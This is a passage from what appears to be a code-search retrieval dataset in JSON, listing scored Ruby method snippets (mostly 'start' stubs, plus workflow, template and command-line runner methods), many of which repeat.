"822d294123c87fce4a464c1734781992", "score": "0.5379058", "text": "def start\n end", "title": "" }, { "docid": "822d294123c87fce4a464c1734781992", "score": "0.5379058", "text": "def start\n end", "title": "" }, { "docid": "822d294123c87fce4a464c1734781992", "score": "0.5379058", "text": "def start\n end", "title": "" }, { "docid": "822d294123c87fce4a464c1734781992", "score": "0.5379058", "text": "def start\n end", "title": "" }, { "docid": "822d294123c87fce4a464c1734781992", "score": "0.5379058", "text": "def start\n end", "title": "" }, { "docid": "822d294123c87fce4a464c1734781992", "score": "0.5379058", "text": "def start\n end", "title": "" }, { "docid": "822d294123c87fce4a464c1734781992", "score": "0.5379058", "text": "def start\n end", "title": "" }, { "docid": "d6c529572bb4a8ee977461070e5e8c95", "score": "0.5345443", "text": "def start\n end", "title": "" }, { "docid": "12166d3ba91fb64be4adb60af0b5e4f7", "score": "0.533032", "text": "def start\n end", "title": "" }, { "docid": "de29fc48082f136f7712b48a76537217", "score": "0.5329251", "text": "def start\n _start\n end", "title": "" }, { "docid": "399a618fd04286682bd3721f0e44cffc", "score": "0.53051686", "text": "def start\n # TODO\n end", "title": "" }, { "docid": "1ef288b9e3dfb854e969a5509b755785", "score": "0.5304874", "text": "def initialize args\n hash_make args, ARG_SPECS\n end", "title": "" }, { "docid": "2a1ecc95d0c2ec2f3d76291cb56f3528", "score": "0.5285273", "text": "def start\n save_state(nil)\n __load\n if params[:initial].present?\n # only set the state, don't process because this isn't an event.\n aasm.current_state = params[:initial].to_sym\n end\n # before view should always be run, even on start if present.\n if self.methods.include?(aasm.current_state)\n __debug(\"before_view: #{aasm.current_state}\")\n self.send(aasm.current_state)\n end\n end", "title": "" }, { "docid": "2eb0da20254437af9155ce7275f77d51", "score": "0.52809083", "text": "def start\n raise \"File #{@path} not found.\" unless File.exist?(@path)\n\n $stdout.puts \" * Loading translations from #{@path}\"\n load_translations\n\n $stdout.puts ' * Creating missing translations'\n store.create_missing_keys\n\n $stdout.puts \" * Starting I18n Yaml Editor at port #{@port}\"\n Rack::Server.start app: Web, Port: @port\n end", "title": "" }, { "docid": "970f3611de14cfc4377a1e1d95698be2", "score": "0.5278378", "text": "def start\n end", "title": "" }, { "docid": "970f3611de14cfc4377a1e1d95698be2", "score": "0.5278378", "text": "def start\n end", "title": "" }, { "docid": "970f3611de14cfc4377a1e1d95698be2", "score": "0.5278378", "text": "def start\n end", "title": "" }, { "docid": "970f3611de14cfc4377a1e1d95698be2", "score": "0.5278378", "text": "def start\n end", "title": "" }, { "docid": "970f3611de14cfc4377a1e1d95698be2", "score": "0.5278378", "text": "def start\n end", "title": "" }, { "docid": "970f3611de14cfc4377a1e1d95698be2", "score": "0.5278378", "text": "def start\n end", "title": "" }, { "docid": "963603c831e74cbe872d391efa7d4365", "score": "0.5269672", "text": "def start\n raise 'This is an abstract action and should be inherited and implemented!'\n end", "title": "" }, { "docid": "4e6064628fde03dab9484c5d0b752f73", "score": "0.52680653", "text": "def action_start\n container.run_action(:run)\n end", "title": "" }, { "docid": "003f60f8bd1764650865fa6ade7ea861", "score": "0.52582574", "text": "def start_block(name, args, lines)\n\t\tend", "title": "" }, { "docid": "6420e06fb539f03f87b5a809797f5964", "score": "0.52384377", "text": "def start(*)\n self\n end", "title": "" }, { "docid": "690116bcec5075f13be307ea8fae7bdb", "score": "0.5237812", "text": "def initialize(args = {})\n @cfg = {\n :tag_open => '<$',\n :tag_close => '$>',\n :in_ext => 'tpl',\n :out_ext => 'txt',\n :input_file => \"input\"\n }\n @cfg.merge! args\n end", "title": "" }, { "docid": "20c8298e8e42e243fe7023b9dc2fab58", "score": "0.52367735", "text": "def start(key='#main')\n # Show Debug information\n printf \"TimeLife #{ CLIENT_VERSION_CODE } #{ ENVIRONMENT }\"\n # Load scene\n @scene = Scene_Main.new\n @status = 'main'\n compile(@scene)\n # Set listener\n set_listener\n while $app_proc[0]\n $app_proc.shift.call\n end\n # Goto action\n SceneManager.goto key || '#main'\n end", "title": "" }, { "docid": "7337b944f7781e6a8724135e80d9cfd1", "score": "0.52364177", "text": "def on_starting_exit(state, event, *event_args)\n super\n\n unless event == :start\n\n __debug_sim(\"Using workflow #{self.class}\")\n __debug_sim(\"with workflow_phase: #{workflow_phase.inspect}\")\n __debug_sim(\"with variant_type: #{variant_type.inspect}\")\n __debug_sim(\"with record: #{record.inspect}\")\n\n set_workflow_phase(workflow_phase)\n\n end\n\n self\n end", "title": "" }, { "docid": "11044c3890ec695659780f047e2b67c5", "score": "0.5234832", "text": "def on_start(&block)\n @actions[:start] = block\n end", "title": "" }, { "docid": "312e3401fd1dcda62b5017b3450bc6ef", "score": "0.5229525", "text": "def start\n\n end", "title": "" }, { "docid": "312e3401fd1dcda62b5017b3450bc6ef", "score": "0.5229525", "text": "def start\n\n end", "title": "" }, { "docid": "dfbf023f8144b026304beabacae8c8c0", "score": "0.52273285", "text": "def run\n program :name, 'Jumpstarter'\n program :version, '0.0.1'\n program :description, 'Helps maintain dependencies'\n\n command :start do |c|\n c.syntax = 'Jumpstarter start [options]'\n c.summary = ''\n c.description = ''\n c.example 'description', 'command example'\n c.option '--some-switch', 'Some switch that does something'\n c.action do |args, options|\n Jumpstarter::Runner.setup\n end\n end\n run!\n end", "title": "" }, { "docid": "13913ff1648bf5519015a86412c782dd", "score": "0.5227069", "text": "def start_page=(_arg0); end", "title": "" }, { "docid": "0f81309bf8fbcdb6520980c1a8ceb3d6", "score": "0.52154106", "text": "def initial_workflow\n doc = Nokogiri::XML('<workflow/>')\n root = doc.root\n root['id'] = name\n workflow_template.xpath('/workflow-def/process').each do |source_process_node|\n doc.create_element 'process' do |node|\n populate_process_node(node, source_process_node)\n root.add_child node\n end\n end\n add_lane_id(doc) unless lane_id.nil?\n doc\n end", "title": "" }, { "docid": "122e8324e799eec90dc01527e0993ff5", "score": "0.5201973", "text": "def start_page\n { 'action_name' => 'start', 'controller_name' => 'talks', 'label' => 'Start', 'url' => start_path } \n end", "title": "" }, { "docid": "659689fa561438d40fafa3d84baa43f0", "score": "0.5190296", "text": "def initialize(*args, &block)\n @root = @current_nest = Nest.new(:root, nil)\n @routes = {}\n @opts = {:run => true, :handler => Rack::Handler::Mongrel}\n @helpers = []\n # Keeping a list of all the applications for Stevenson::Application.rack\n @@applications << self\n \n if args.last.is_a? Hash\n # Default options.\n @opts = @opts.merge args.last\n end\n \n puts '- Parsing description'\n self.instance_eval &block\n \n @current_nest.each_recursive { if self.respond_to? 'act!'.to_sym; self.act!; end }\n \n self.run!\n end", "title": "" }, { "docid": "5146a95ae23c37103033e0aaaada7e2c", "score": "0.51811236", "text": "def start()\n\t\t# puts \"this is the start method\"\n\t\tcurr_story_hash = @story_hash\n\t\tquestion = @story_hash[\"question\"]\n\t\toptions = get_options(curr_story_hash)\n\n\t\tuntil options.nil?\n\t\t\tres = prompt_n_chomp(question, options)\n\t\t\t\n\t\t\t# if its a hash = more options\n\t\t\tif curr_story_hash[res].is_a?(Hash)\n\t\t\t\tcurr_story_hash = curr_story_hash[res]\n\t\t\t\tquestion = curr_story_hash[\"question\"]\n\t\t\t\toptions = get_options(curr_story_hash)\n\t\t\t# no hash = end of story\n\t\t\telse\n\t\t\t\tputs curr_story_hash[res]\n\t\t\t\toptions = nil\n\t\t\tend\n\t\tend\n\tend", "title": "" }, { "docid": "4da0cdf87340b038fc9621cfc005810d", "score": "0.5175769", "text": "def start\n @root_context = RootContext.new\n @current_context = root_context\n goto :declaration_list\n reject(\"No main function detected!\") if root_context.functions['main'].nil?\n end", "title": "" }, { "docid": "497a724170fad6182f987387397a45ce", "score": "0.5170196", "text": "def start(options = {})\n options = nil if options.empty?\n compose('start', options)\n end", "title": "" }, { "docid": "94630579a1161af089946229e6cd823e", "score": "0.5162982", "text": "def load_template_file(*args)\n c_stack = (args.detect { |i| i.is_a?(Hash) } || {})[:stack]\n unless config[:template]\n set_paths_and_discover_file!\n unless config[:file]\n unless args.include?(:allow_missing)\n ui.fatal \"Invalid formation file path provided: #{config[:file]}\"\n raise IOError.new \"Failed to locate file: #{config[:file]}\"\n end\n end\n end\n if config[:template]\n config[:template]\n elsif config[:file]\n if config[:processing]\n sf = SparkleFormation.compile(config[:file], :sparkle)\n if name_args.first\n sf.name = name_args.first\n end\n compile_state = merge_compile_time_parameters(sf.root?)\n sf.compile_time_parameter_setter do |formation|\n f_name = formation.root_path.map(&:name).map(&:to_s)\n pathed_name = f_name.join(\" > \")\n f_name = f_name.join(\"__\")\n if formation.root? && compile_state[f_name].nil?\n current_state = compile_state\n else\n current_state = compile_state.fetch(f_name, Smash.new)\n end\n\n # NOTE: Prevent nesting stack compile state within stack compile state\n current_state.delete(\"#{f_name}__#{f_name}\")\n\n if formation.compile_state\n current_state = current_state.merge(formation.compile_state)\n end\n unless formation.parameters.empty?\n ui.info \"#{ui.color(\"Compile time parameters:\", :bold)} - template: #{ui.color(pathed_name, :green, :bold)}\" unless config[:print_only]\n formation.parameters.each do |k, v|\n valid_keys = [\n \"#{f_name}__#{k}\",\n Bogo::Utility.camel(\"#{f_name}__#{k}\").downcase,\n k,\n Bogo::Utility.camel(k).downcase,\n ]\n current_value = valid_keys.map do |key|\n current_state[key]\n end.compact.first\n primary_key, secondary_key = [\"#{f_name}__#{k}\", k]\n current_state[k] = request_compile_parameter(k, v,\n current_value,\n !!formation.parent)\n end\n formation.compile_state = current_state\n end\n end\n sf.sparkle.apply sparkle_collection\n custom_stack_types.each do |s_type|\n unless sf.stack_resource_types.include?(s_type)\n sf.stack_resource_types.push(s_type)\n end\n end\n run_callbacks_for(:template, :stack_name => arguments.first, :sparkle_stack => sf)\n if sf.nested? && config[:apply_nesting]\n validate_nesting_bucket!\n if config[:apply_nesting] == true\n config[:apply_nesting] = :deep\n end\n case config[:apply_nesting].to_sym\n when :deep\n process_nested_stack_deep(sf, c_stack)\n when :shallow\n process_nested_stack_shallow(sf, c_stack)\n when :none\n sf\n else\n raise ArgumentError.new \"Unknown nesting style requested: #{config[:apply_nesting].inspect}!\"\n end\n sf\n else\n sf\n end\n else\n template = _from_json(File.read(config[:file]))\n run_callbacks_for(:template, :stack_name => arguments.first, :hash_stack => template)\n template\n end\n else\n raise ArgumentError.new \"Failed to locate template for processing!\"\n end\n end", "title": "" }, { "docid": "dd3ac19b88b8e6744c9414462b38ec86", "score": "0.5162351", "text": "def start(start)\n @parameters[:start] = start\n self\n end", "title": "" }, { "docid": "21fd2270fab4a8f89905a68d9f1503c9", "score": "0.5155332", "text": "def start()\n #This is a stub, used for indexing\n end", "title": "" }, { "docid": "0d9ba7fc91596d8dedbbf56fad1d2477", "score": "0.51475424", "text": "def start\n raise NotImplementedError, \"must implement 'start'\"\n end", "title": "" }, { "docid": "bc4998c346faaec5cbcfd8afef787aab", "score": "0.5143712", "text": "def start\n raise NotImplementedError, \"Override #start to define a process.\"\n end", "title": "" }, { "docid": "8f01675022a8bcc40739b88254389b36", "score": "0.51410794", "text": "def launch(process_definition, fields={}, variables={}, root_stash=nil)\n\n #puts caller.select { |l|\n # ! (l.match(/test\\/unit[\\.\\/]/) or l.match(/\\/rspec-core-/))\n #} if @context.logger.noisy\n #\n # this is useful when noisy and running through a set of tests\n\n wfid = fields[:wfid] || @context.wfidgen.generate\n\n fields = Rufus::Json.dup(fields)\n variables = Rufus::Json.dup(variables)\n root_stash = Rufus::Json.dup(root_stash)\n #\n # making sure symbols are turned to strings\n\n @context.storage.put_msg(\n 'launch',\n 'wfid' => wfid,\n 'tree' => @context.reader.read(process_definition),\n 'workitem' => { 'fields' => fields },\n 'variables' => variables,\n 'stash' => root_stash)\n\n wfid\n end", "title": "" }, { "docid": "544b8009c9b248e1bf053fc98574d101", "score": "0.5139444", "text": "def run(argv = ARGV) # :yields: customised +::Hash+\n\n\t\traise ArgumentError, \"argv may not be nil\" if argv.nil?\n\n\t\targuments = CLASP::Arguments.new argv, specifications\n\n\t\trun_ argv, arguments\n\tend", "title": "" }, { "docid": "3dcada407a82740d04a4d2e98cecc935", "score": "0.5139369", "text": "def start\n parse!\n create_paths\n\n execute_command\n end", "title": "" }, { "docid": "e5fbb56b3bc04aafd3d7af53fd10c5b0", "score": "0.51376253", "text": "def start(config = T.unsafe(nil), &block); end", "title": "" }, { "docid": "e5fbb56b3bc04aafd3d7af53fd10c5b0", "score": "0.51376253", "text": "def start(config = T.unsafe(nil), &block); end", "title": "" }, { "docid": "ed96eaa93f8468d037630a7587a0215b", "score": "0.5128847", "text": "def starting_with(*args, &block); end", "title": "" }, { "docid": "d2a264b6b2b605a0c53852863f3a26eb", "score": "0.5127218", "text": "def run(args)\n # parse the options\n options = Options.new.parse(args)\n \n # get output buffer\n buffer = STDOUT\n if options.output_file\n buffer = File.new(options.output_file, \"w\")\n end\n \n source = File.read(options.template_file)\n dialect = options.template_dialect\n braces = options.template_brace\n context = options.context_object\n context = {options.context_name => context} unless options.context_name.nil?\n template = WLang::file_template(options.template_file, options.template_dialect, braces)\n \n if options.verbosity>1\n puts \"Instantiating #{options.template_file}\"\n puts \"Using dialect #{dialect}\"\n puts \"Block delimiters are \" << Template::BLOCK_SYMBOLS[braces].inspect\n puts \"Context is \" << context.inspect\n end\n \n buffer << template.instantiate(context || {})\n \n # Flush and close if needed\n if File===buffer\n buffer.flush\n buffer.close\n end\n end", "title": "" }, { "docid": "2df040511d219a126f6ec1bd63cbaec8", "score": "0.5124211", "text": "def start\n\t\tcapture(:start => true)\n\t\tself\n\tend", "title": "" }, { "docid": "72696b2c748f35a2a9f603fd75f2af1e", "score": "0.5122893", "text": "def start\n case @flag\n when 'create'\n arg = @content.shift\n if arg == 'cat' || arg == 'category'\n create_category\n elsif arg == 'entry' || arg == 'name'\n create_entry\n else\n raise 'invalid option'\n end\n when 'show' || '-s'\n show_data\n when 'edit' || '-e'\n arg = @content.shift\n if arg == 'cat' || arg == 'category'\n edit_category\n elsif arg == 'entry'\n edit_entry\n else\n raise 'invalid option'\n end\n when 'help' || '-h'\n help\n when 'find' || '-f'\n find\n when 'delete'\n delete\n else\n raise 'incorrect parameter'\n end\n end", "title": "" }, { "docid": "8cfdd5ffb941eecdbb6cf20de003f4af", "score": "0.512264", "text": "def starting_job\n end", "title": "" }, { "docid": "8cfdd5ffb941eecdbb6cf20de003f4af", "score": "0.512264", "text": "def starting_job\n end", "title": "" }, { "docid": "6d76ba9847cf715f7150d0ad61809e82", "score": "0.5115446", "text": "def start(action: nil, method: nil, **keyword_args)\n start = Start.new(action: action, method: method, **keyword_args)\n\n yield(start) if block_given?\n append(start)\n end", "title": "" }, { "docid": "22d7014cf6c75125b767a310d325b69d", "score": "0.5110052", "text": "def start!\n add_module(self.class::ToStart)\n end", "title": "" }, { "docid": "134583e2d82b55d294810d29836da205", "score": "0.5102416", "text": "def start arg=nil\n unless arg.nil?\n # if arguments are non-nil, then likely user has invoked\n # Enter with a single entry and expects program to terminate\n # after verifying and storing the entry.\n begin\n entry = TS::Entry.new(arg)\n # @store is an object of a class that implements a DataStore interface.\n # i.e. an adapter for KirbyBase or MySQL.\n @store.save(entry)\n rescue TS::InvalidEntry => e\n #TODO: might be useful to have a 'context here' to be able to point\n # to the portion of the entry that is causing the problem.\n puts \"Entry is invalid: #{e.what}\"\n resuce DataStore::Exception => dse\n puts \"DataStore Error: #{dse.what}\"\n end\n else\n # Arguments are nil, likely user wants to enter interactive mode\n # so start the Enter shell, and accept input.\n @shell=Shell.new :promt=>'*'\n @shell.run do |input|\n begin\n entry=TS::Entry.new(input)\n @store.save(entry)\n rescue TS::InvalidEntry => e\n puts \"Entry is not valid: #{e.what}\"\n end\n end\n end\n end", "title": "" }, { "docid": "47ac102d0c5bb3863076ea463b9abf3a", "score": "0.509406", "text": "def start_element(args = {})\n #super(args)\n\n event_context = args[:event_context]\n section = args[:section]\n parser_context = section[:parser_context]\n\n # Determine the paragraph for this block.\n style = parser_context[:paragraph_style]\n\n rtf_document = event_context[:rtf_document]\n\n # Determine the style name for this block.\n # The ids may change from document to document,\n # so rely on the names.\n style_name = rtf_document.style_table[style]\n raise \"Error: unknown style #{style}\" if style_name.nil?\n ssname = style_name.gsub(/[ ]+/, '_')\n #puts \"#{style}:|#{style_name}|\"\n\n # If a new division, then open a new section.\n if parser_context[:division]\n event_context[:stack].push(\"section\")\n append_markup(\"<section class=\\\"#{ssname}\\\">\")\n return\n end\n\n # From the style name, select the block element.\n case style_name\n when \"Definition Heading 1\", \"PdeC Heading 1\", \"PdeC Heading 2\", \"PdeC Heading 3\"\n # Header element for a division.\n # Determine the current outline level\n outlinelevel = parser_context[:outlinelevel]\n outlinelevel = 0 if outlinelevel.nil? or outlinelevel < 0\n\n # Select the h[3-?] header element.\n elem_name = \"h#{outlinelevel+3}\"\n else\n # Not a divisoion. Use a paragraph element.\n elem_name = \"p\"\n end\n\n # Push this element on the stack and add its\n # markup to the output string.\n event_context[:stack].push(elem_name)\n append_markup(\"<#{elem_name} class=\\\"#{ssname}\\\">\")\n end", "title": "" }, { "docid": "6c02f1cabf0a12e8795afbae111e3db9", "score": "0.5092815", "text": "def start\n\t\tend", "title": "" }, { "docid": "6c02f1cabf0a12e8795afbae111e3db9", "score": "0.5092815", "text": "def start\n\t\tend", "title": "" }, { "docid": "0bdaab5db2bd7d156d345daf2f6b4a7e", "score": "0.5092681", "text": "def start\n copy_all_templates \"Copying templates over\"\n end", "title": "" }, { "docid": "eebddcc15e5da6f2412028f8eb1c1996", "score": "0.5090161", "text": "def start\n parse_args\n\n if @command.nil?\n # No supported command specified\n puts Help.help\n exit STATUS_FAIL\n else\n load_env_file unless @command == 'help'\n self.send('process_' + @command)\n exit STATUS_SUCCESS\n end\n end", "title": "" }, { "docid": "a77f4ce980e66d01858035eeb7b8123b", "score": "0.5089137", "text": "def start_workflow(name)\n puts \"Starting Workflow #{name}!\"\n # Use the activity client 'client' to invoke the say_hello activity\n client_one.run_step_one\n client_one.run_step_two\n client_one.run_step_three\n end", "title": "" }, { "docid": "836112c905792caa50fb74b831f5be6d", "score": "0.50825053", "text": "def start_with(name, &run_block)\n @@starter = processors(name)\n @@starter.run_block = run_block\n end", "title": "" }, { "docid": "9e1724ed24e7a2abea75f27084ff4edf", "score": "0.5078623", "text": "def initialize(filename = nil, &block)\n @template_file = filename\n @template_block = block\n @dict = {}\n end", "title": "" }, { "docid": "803a1863587eb60369683b63532d645c", "score": "0.5073005", "text": "def start!; end", "title": "" }, { "docid": "803a1863587eb60369683b63532d645c", "score": "0.5073005", "text": "def start!; end", "title": "" }, { "docid": "803a1863587eb60369683b63532d645c", "score": "0.5073005", "text": "def start!; end", "title": "" }, { "docid": "803a1863587eb60369683b63532d645c", "score": "0.5073005", "text": "def start!; end", "title": "" }, { "docid": "803a1863587eb60369683b63532d645c", "score": "0.5073005", "text": "def start!; end", "title": "" }, { "docid": "d39274a4433438182139983735f34fb1", "score": "0.50724953", "text": "def start(arg=nil)\n if arg.nil? \n @note_attrs[:start]\n else\n @note_attrs[:start] = arg \n self\n end\n end", "title": "" }, { "docid": "4b176a611522f23d41625b6683826958", "score": "0.5068065", "text": "def start!\n\tend", "title": "" } ]
0d766fec3f6053f192b62e0384a59b4f
A list of all the albums in a user's library, with play counts and tag counts.
[ { "docid": "a61cfe69eaaac9113f232161c8887d67", "score": "0.75058734", "text": "def albums(options={})\n options = {:force => false, :all => true}.merge options\n options[:user] = @user.name\n albums = []\n if options[:all]\n doc = Base.request('library.getalbums', options)\n root = nil\n doc.root.children.each do |child|\n next unless child.name == 'albums'\n root = child\n end\n total_pages = root['totalPages'].to_i\n root.children.each do |child|\n next unless child.name == 'album'\n albums << Scrobbler::Album.new_from_libxml(child)\n end\n for i in 2..total_pages do\n options[:page] = i\n albums.concat get_response('library.getalbums', :none, 'albums', 'album', options, true)\n end\n else\n albums = get_response('library.getalbums', :get_albums, 'albums', 'album', options, true)\n end\n albums\n end", "title": "" } ]
[ { "docid": "8f4076f9b37a78b6d620b747e302396c", "score": "0.7366058", "text": "def get_albums_list\n url = \"https://picasaweb.google.com/data/feed/api/user/default\"\n\n response = http_request(:get, url, nil, default_headers)\n\n if response.code =~ /20[01]/\n albums_list response.body\n else\n raise Picasa::PicasaAuthorisationRequiredError, \"The request for get albums list has failed. (#{scan_body_for_errors(response.body).to_sentence})\"\n end\n end", "title": "" }, { "docid": "b0255f6f45d0674e4a0985c489a6d985", "score": "0.729466", "text": "def get_albums( params )\n LastFM.get( \"library.getAlbums\", params )\n end", "title": "" }, { "docid": "81f6cc05acf763767527262e99f1b8d1", "score": "0.72167635", "text": "def flickr_albums\n flickr.photosets.getList\n end", "title": "" }, { "docid": "c77d026ed122ebe49e717c1e22cc7750", "score": "0.7208211", "text": "def albums\n return @albums unless @albums.nil?\n json = RSpotify.get(\"artists/#{@id}/albums\")\n @albums = json['items'].map { |a| Album.new a }\n end", "title": "" }, { "docid": "4de66efc6764bc485242f0427f9bd8de", "score": "0.71155375", "text": "def list\n\t\t@albums = Album.all\n\n\tend", "title": "" }, { "docid": "cc95f50c8bd35ff5b432e50cc75538e2", "score": "0.71051043", "text": "def picasa_albums(user = nil)\n uri = \"http://picasaweb.google.com/data/feed/api/user/#{user || 'default'}\"\n feed = picasa_client.get(uri).to_xml\n albums = []\n feed.elements.each('entry') do |entry|\n next unless entry.elements['gphoto:id']\n albums << { :id => entry.elements['gphoto:id'].text,\n :user => entry.elements['gphoto:user'].text,\n :title => entry.elements['title'].text }\n end\n albums\n end", "title": "" }, { "docid": "3aeee1d7685413491c2909fcd7bd5097", "score": "0.7094444", "text": "def find_all_albums\n @albums = []\n type = Rhouse::Models::Media::AttributeType.find_by_Description( 'Album' )\n self.files.each do |file|\n file.tags.each do |tag|\n @albums << tag if tag.attribute_type == type and !@albums.include?( tag )\n end\n end\n @albums\n end", "title": "" }, { "docid": "3fadc6fe1e06d53ca8a785e81aeffe88", "score": "0.7074919", "text": "def albums options = {}\n perform_get(\"/me/albums\", options)\n end", "title": "" }, { "docid": "35e630f51c63476645f27c40ecdf39fc", "score": "0.6950204", "text": "def albums\n @albums ||= fetch_albums\n end", "title": "" }, { "docid": "1b8f360b13a972c9d8a90f1367728b4d", "score": "0.6925467", "text": "def get_albums\n uri = \"https://picasaweb.google.com/data/feed/api/user/default\"\n feed = get(uri)\n entries = feed.css(\"entry\")\n\n entries.map do |entry|\n { :id => entry.css('gphoto|id').text,\n :user => entry.css('gphoto|user').text,\n :title => entry.css('title').text }\n end\n end", "title": "" }, { "docid": "15bd629ce89cc07df43551c537731f8a", "score": "0.69247025", "text": "def user_track_albums(user_tracks)\n \t@albums = []\n \tuser_tracks.each do |album|\n @albums << album['album'] if album['album']\n end\n @albums \n\n end", "title": "" }, { "docid": "5f1ba8a7461b03b525dce8922cf5b191", "score": "0.69170606", "text": "def albums\n entries\n end", "title": "" }, { "docid": "06b3c20721fc74c207533443bcf0e19d", "score": "0.6886281", "text": "def top_albums(user)\n key = ENV.fetch('LAST_FM_API_KEY')\n url = 'http://ws.audioscrobbler.com/2.0/?method=user.gettopalbums&'\\\n 'user=#{user}&api_key=#{key}&format=json'\n uri = URI(url)\n response = Net::HTTP.get(uri)\n JSON.parse(response)\n end", "title": "" }, { "docid": "af1aa97922f94e88903994e5cef66a01", "score": "0.6885581", "text": "def get_top_albums( params )\n LastFM.get( \"user.getTopAlbums\", params )\n end", "title": "" }, { "docid": "15fafb8f965c1d0a690fddbab59d962b", "score": "0.6875907", "text": "def albums\n @albums ||= search_children children\n end", "title": "" }, { "docid": "2332d4f97e917ab2c3702d2fcefdf9fc", "score": "0.6846962", "text": "def top_albums user\n key = ENV.fetch(\"LAST_FM_API_KEY\")\n url = \"http://ws.audioscrobbler.com/2.0/?method=user.gettopalbums&user=#{user}&api_key=#{key}&format=json\"\n uri = URI(url)\n response = Net::HTTP.get(uri)\n JSON.parse(response)\n end", "title": "" }, { "docid": "9f7c498e0c47e0688ce4b7d843e27400", "score": "0.6824197", "text": "def albums\n Play.mpd.albums(name).map do |album_name|\n Album.new(:artist => self, :name => album_name) if !album_name.blank?\n end.compact\n end", "title": "" }, { "docid": "a4b36ee50054119e2c68fddd7a5e9a87", "score": "0.6823919", "text": "def list_albums(unplayed_only: false, artist_name: nil)\n @albums.reduce([]) do |aggregator, album|\n next aggregator if unplayed_only && album.played? ||\n artist_name && album.artist_name != artist_name\n\n aggregator << album\n end\n end", "title": "" }, { "docid": "a69d3ce230077829526725dbbb73f6c5", "score": "0.67950803", "text": "def albumlist(type = :random)\n #TODO might want to add validation for the type here\n doc = query('getAlbumList2.view', {:type => type})\n doc.elements.collect('subsonic-response/albumList2/album') do |album|\n album = album.attributes\n album = Hash[album.collect { |key,val| [key.to_sym, val] }]\n album[:type] = :album\n album\n end\n end", "title": "" }, { "docid": "3fa4d1752b8af74788835f3d67074785", "score": "0.6769182", "text": "def top_albums\n items = []\n unless source_id.blank?\n albums=Scrobbler::Artist.new(source_id).top_albums[0..4]\n \n cat = ItemCategory.find_by_api_source(\"music-album\")\n return [] if cat.blank?\n cat_id = cat.id\n \n albums.each do |album|\n if item = Item.find_by_source_id(/#{album.name}/i, :conditions=>{:category_id => cat_id})\n items << item\n else\n album.load_info\n items << Item.new(:name => album.name, :basic_image_url => album.image_large)\n end\n end\n end\n return items\n end", "title": "" }, { "docid": "6770d5d1f19a901d7e73486b34fabc7d", "score": "0.6715027", "text": "def top_albums\n key = ENV.fetch('LAST_FM_API_KEY')\n url = 'http://ws.audioscrobbler.com/2.0/?method=artist.gettopalbums'\\\n \"&artist=#{name}&api_key=#{key}&limit=5&format=json\"\n uri = URI.parse(URI.escape(url))\n response = Net::HTTP.get(uri)\n json = JSON.parse(response)\n\n if json['error'] == 6\n puts \"no json for: #{name}\"\n return []\n\n else\n json['topalbums']['album']\n end\n end", "title": "" }, { "docid": "f59cf5140c2713475d2a4c76bcbce9ac", "score": "0.6708051", "text": "def albums options = {}\n perform_get(\"/users/#{get_id}/albumns\", options)\n end", "title": "" }, { "docid": "b21f7bb0591aa7896873a58fe2bfd7db", "score": "0.67046803", "text": "def tracks(options={})\n options = {:force => false, :all => true}.merge options\n options[:user] = @user.name\n tracks = []\n if options[:all]\n doc = Base.request('library.gettracks', options)\n root = nil\n doc.root.children.each do |child|\n next unless child.name == 'tracks'\n root = child\n end\n total_pages = root['totalPages'].to_i\n root.children.each do |child|\n next unless child.name == 'track'\n tracks << Scrobbler::Track.new_from_libxml(child)\n end\n for i in 2..total_pages do\n options[:page] = i\n tracks.concat get_response('library.gettracks', :none, 'tracks', 'track', options, true)\n end\n else\n tracks = get_response('library.gettracks', :get_albums, 'tracks', 'track', options, true)\n end\n tracks\n end", "title": "" }, { "docid": "6b04ad04966eafa134739597ba87fe5c", "score": "0.6701138", "text": "def albums( options=nil )\n json = web_method_call( \n { :method => 'smugmug.albums.get', :heavy => 1 },\n options\n ) \n\n Smile::Album.from_json( json )\n end", "title": "" }, { "docid": "25ba43116a60f875145f37d8ace24247", "score": "0.667849", "text": "def albums\n @years.values.flatten\n end", "title": "" }, { "docid": "71e29c5b4195417e3bacb951bb430e52", "score": "0.6676901", "text": "def top_albums(force=false, period='overall')\n get_response('user.gettopalbums', :top_albums, 'topalbums', 'album', {'user'=>@username, 'period'=>period}, force)\n end", "title": "" }, { "docid": "d291e4b0036d2b49db37e1a8c1c797ee", "score": "0.6671185", "text": "def albums(featuring=nil,extras=nil,start=nil,count=nil)\n api.getAlbumsForArtist self,featuring,extras,start,count\n end", "title": "" }, { "docid": "93edda9d74d0bd9c005c7d28687eba02", "score": "0.66660905", "text": "def albums\n unimplemented\n end", "title": "" }, { "docid": "b47bb8b705af83b56b8cf18ceb414c0a", "score": "0.6646042", "text": "def get_albums(options = {})\n make_request(:get, \"/me/albums\", options)\n end", "title": "" }, { "docid": "7d588f8e3bfce7be20f706ec617f32e8", "score": "0.6638007", "text": "def albums_user_photo_count\n count = 0\n albums.each do |a|\n vk_client.photos.get(owner_id: a.owner_id, album_id: a.aid).each do |p|\n count += 1 if p.user_id == user_id\n end\n end\n count\n end", "title": "" }, { "docid": "a6a13dcf8cf4ce83cdef5b35e328fc77", "score": "0.66379225", "text": "def get_albums\n \t json = call_api(\"#{base_url}\", {})\n\n \t return json[\"data\"]\n \tend", "title": "" }, { "docid": "5eb67181a9cc050e810248f845a38ea5", "score": "0.6632227", "text": "def albums\n link :top_albums, :Album, name\n end", "title": "" }, { "docid": "cde813c98b2406cb8bbf0185e40d96ae", "score": "0.6621399", "text": "def albums( options=nil )\n params = { :heavy => 1 }\n params.merge! options if options\n json = request 'albums.get', params\n \n Smile::Album.from_json( json, session_id )\n rescue\n nil\n end", "title": "" }, { "docid": "53657409c150576176622997aabe2842", "score": "0.66162807", "text": "def index\n @albums = @user.albums\n end", "title": "" }, { "docid": "53657409c150576176622997aabe2842", "score": "0.66162807", "text": "def index\n @albums = @user.albums\n end", "title": "" }, { "docid": "5beced774d64e1cd9e0f8d2e87ff1894", "score": "0.66139907", "text": "def get_top_albums( params )\n xml = LastFM.get( \"tag.getTopAlbums\", params )\n xml.find('topalbums/album').map do |album|\n LastFM::Album.from_xml( album )\n end\n end", "title": "" }, { "docid": "fed8147d43d4c51683e13cd64cecf140", "score": "0.6603421", "text": "def albums(args = {})\r\n url = ARTISTS_URL + '/' + args[:id].to_s + '/albums'\r\n params = args.slice(:album_type, :market, :limit, :offset)\r\n\r\n get(url, params)\r\n\r\n define_response do\r\n klass = Spotify::Models::Simplified::Album\r\n\r\n Spotify::Models::Paging.new(response, klass)\r\n end\r\n end", "title": "" }, { "docid": "4cae6dc75e658fb5bdea6956987bd39d", "score": "0.65969515", "text": "def top_albums\n call('artist.gettopalbums', :topalbums, Album, {:artist => @name})\n end", "title": "" }, { "docid": 